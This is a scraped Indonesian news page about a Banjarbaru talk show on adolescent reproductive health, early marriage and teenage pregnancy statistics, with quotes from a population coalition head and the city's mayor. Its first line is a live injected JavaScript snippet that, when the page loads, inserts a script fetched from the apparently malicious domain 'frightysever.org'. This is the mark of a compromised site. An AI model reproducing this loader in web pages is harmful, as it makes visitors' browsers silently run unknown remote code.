(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

Tiap Tahun Ada 1,7 Juta Kelahiran dari Perempuan di Bawah Umur


BANJARBARU, Permasalahan remaja yang berkaitan dengan kesehatan reproduksi sering kali berakar dari kurangnya informasi, pemahaman, dan kesadaran mencapai keadaan sehat secara reproduksi. Hal ini mengemuka dalam acara Talk Show Kependudukan Bagi Para Guru dan Siswa se-Kota Banjarbaru  dengan tema “Kesehatan Reproduksi Remaja dan Pernikahan Dini” yang berlangsung di Gedung Bina Satria Banjarbaru, Kamis (8/3).

Diakui, saat ini masih banyak kalangan remaja yang abai akan perlunya pemeliharaan kebersihan alat reproduksi, pemahaman mengenai proses-proses reproduksi, serta dampak dari perilaku yang tidak bertanggung jawab seperti kehamilan tak diinginkan, aborsi, penularan penyakit menular seksual termasuk HIV.

Padahal faktanya, data Survey Kesehatan Reproduksi Remaja Indonesia (SKRRI 2007), terdapat kecenderungan kenaikan proporsi remaja berusia 15-24 tahun yang aktif secara seksual. Semakin meningkatnya perilaku seksual remaja di luar nikah, tentunya membawa dampak yang sangat berisiko, yakni terjadinya kehamilan yang tidak diinginkan. Sedangkan, setiap tahun tercatat ada sekira 1,7 juta kelahiran dari perempuan berusia di bawah 24 tahun, yang sebagian adalah kelahiran yang tidak diinginkan.

Ketua Umum Koalisi Kependudukan Indonesia DR Sony B Harmadi mengatakan, dipilihnya Banjarbaru untuk kegiatan talk show karena merupakan kota yang berkembang dengan sangat pesat. Kondisi ini tentunya juga memiliki sisi lain, berupa tingkat pergaulan remaja dan pandangan terhadap pernikahan.

“Yang menjadi tantangan yang besar di Kalimantan Selatan adalah angka pernikahan dini atau perkawinan anak yang masih cukup tinggi,” ujarnya.

Menurut Sony, Indonesia adalah negara dengan jumlah perkawinan anak tertinggi nomor tujuh di dunia. Oleh karena itu masa depan negara berada di tangan anak-anak.

Sementara itu, Walikota Banjarbaru Nadjmi Adhani yang juga hadir pada kegiatan tersebut mengatakan, upaya untuk memberikan edukasi kepada kaum muda merupakan salah satu prioritas. Harapannya tak lain agar mengurangi masalah sosial yang terjadi di masyarakat seperti pernikahan dini dan seks bebas.

Foto : devi

“Remaja didefinisikan sebagai masa peralihan dari masa kanak-kanak ke masa dewasa” ujar Nadjmi.

Batasan usia remaja menurut WHO (badan PBB untuk kesehatan dunia) adalah 12- 24 tahun.  Namun jika pada usia remaja seseorang sudah menikah, maka ia tergolong dewasa.  Sebaliknya, jika usia sudah bukan lagi remaja tetapi masih tergantung pada orang tua (tidak mandiri), maka dimasukkan ke dalam kelompok remaja.

“Kita semua dapat mengantisipasi permasalahan ini agar generasi bangsa tidak terjerumus dalam pergaulan seks bebas yang mengarah pada pernikahan dini,” tegasnya.

Terlepas hal tersebut, menurut Nadjmi, peran keluarga menjadi sangat penting ketika gaya hidup mulai berubah dan semakin mengglobal. Keluarga tidak hanya mampu menananamkan nilai-nilai luhur , tetapi juga mampu menyesuaikan diri dengan nilai-nilai yang dianut dunia dengan lebih bijak.

“Membentuk generasi yang tangguh, memiliki daya juang dan intelektual tinggi sekaligus mempunyai karakter yang kuat, empati dan kepedulian terhadap berbagai isu yang berkembang baik lokal, regional, nasionalmaupun internasional,” pungkasnya. (devi)

Reporter : Devi
Editor : Chell

Desy Arfianty

Recent Posts

Gelar FKP, Usaha Balai Besar Labkesmas Banjarbaru Tingkatan Pelayanan

KANALKALIMANTAN.COM, BANJARBARU - Balai Besar Laboratorium Kesehatan Masyarakat (BB Labkesmas) Banjarbaru Kalimantan Selatan (Kalsel) menerima… Read More

6 jam ago

“Dialektika di Ujung Joran” Dapur Budaya HSS Juara Kompetisi Film Pendek Dispersip Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Kompetisi film pendek yang diselenggarakan Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan… Read More

6 jam ago

Diduga Timbulkan Aroma Tak Sedap, DLH Banjarbaru Minta Aeris Hotel Cek IPAL

KANALKALIMANTAN.COM, BANJARBARU - Instalasi pengolahan air limbah milik Aeris Hotel diduga mengeluarkan aroma tak sedap.… Read More

7 jam ago

Kasus Penusukan Siswa SMAN 7 Banjarmasin, ABH Dijatuhi Hukuman Pembinaan 1 Tahun

KANALKALIMANTAN.COM, BANJARMASIN - Hakim Pengadilan Negeri (PN) Banjarmasin menyatakan Anak yang Berhadapan dengan Hukum (ABH),… Read More

8 jam ago

Wujudkan Keinginan Masyarakat, Saidi Mansyur Resmikan Pasar Hewan Karangintan

KANALKALIMANTAN.COM, MARTAPURA - Pasar Hewan Karangintan dan Kontes Ternak Kabupaten Banjar 2024, di Desa Padang… Read More

9 jam ago

Satu Wasaka Award 2024, Tim Juri Sambangi Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sehubungan dengan adanya Sanitasi dan Air Minum Tuntas Waja Sampai Kaputing (Satu… Read More

13 jam ago

This website uses cookies.